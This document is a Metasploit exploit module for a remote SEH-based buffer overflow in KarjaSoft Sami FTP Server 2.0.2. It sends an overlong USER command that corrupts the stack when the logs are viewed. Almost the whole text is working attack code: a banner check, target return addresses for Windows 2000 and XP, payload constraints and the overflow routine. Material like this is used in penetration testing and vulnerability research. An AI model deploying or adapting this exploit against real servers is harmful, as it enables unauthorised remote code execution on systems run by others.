KarjaSoft Sami FTP Server 2.0.2 – USER Remote Buffer Overflow (Metasploit)
## # $Id: sami_ftpd_user.rb 9179 2010-04-30 08:40:19Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::Remote::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'KarjaSoft Sami FTP Server v2.02 USER Overflow', 'Description' => %q{ This module exploits the KarjaSoft Sami FTP Server version 2.02 by sending an excessively long USER string. The stack is overwritten when the administrator attempts to view the FTP logs. Therefore, this exploit is passive and requires end-user interaction. Keep this in mind when selecting payloads. When the server is restarted, it will re-execute the exploit until the logfile is manually deleted via the file system. }, 'Author' => [ 'patrick' ], 'Arch' => [ ARCH_X86 ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 9179 $', 'Stance' => Msf::Exploit::Stance::Passive, 'References' => [ # This exploit appears to have been reported multiple times. [ 'CVE', '2006-0441'], [ 'CVE', '2006-2212'], [ 'OSVDB', '25670'], [ 'BID', '16370'], [ 'BID', '22045'], [ 'BID', '17835'], [ 'URL', 'http://www.milw0rm.com/exploits/1448'], [ 'URL', 'http://www.milw0rm.com/exploits/1452'], [ 'URL', 'http://www.milw0rm.com/exploits/1462'], [ 'URL', 'http://www.milw0rm.com/exploits/3127'], [ 'URL', 'http://www.milw0rm.com/exploits/3140'], ], 'DefaultOptions' => { 'EXITFUNC' => 'seh', }, 'Platform' => ['win'], 'Privileged' => false, 'Payload' => { 'Space' => 300, 'BadChars' => "\x00\x0a\x0d\x20\xff", 'StackAdjustment' => -3500, }, 'Targets' => [ [ 'Windows 2000 Pro All - English', { 'Ret' => 0x75022ac4 } ], # p/p/r ws2help.dll [ 'Windows 2000 Pro All - Italian', { 'Ret' => 0x74fd11a9 } ], # p/p/r ws2help.dll [ 'Windows 2000 Pro All - French', { 'Ret' => 0x74fa12bc } ], # p/p/r ws2help.dll [ 'Windows XP SP0/1 - English', { 'Ret' => 0x71aa32ad } ], # p/p/r ws2help.dll ], 'DisclosureDate' => 'Jan 24 2006')) register_options( [ Opt::RPORT(21), ], self.class) end def check connect banner = sock.get(-1,3) disconnect if (banner =~ /Sami FTP Server 2.0.2/) return Exploit::CheckCode::Vulnerable end return Exploit::CheckCode::Safe end def exploit connect sploit = Rex::Text.rand_text_alphanumeric(596) + generate_seh_payload(target.ret) login = "USER #{sploit}\r\n" login << "PASS " + Rex::Text.rand_char(payload_badchars) sock.put(login + "\r\n") handler disconnect end end |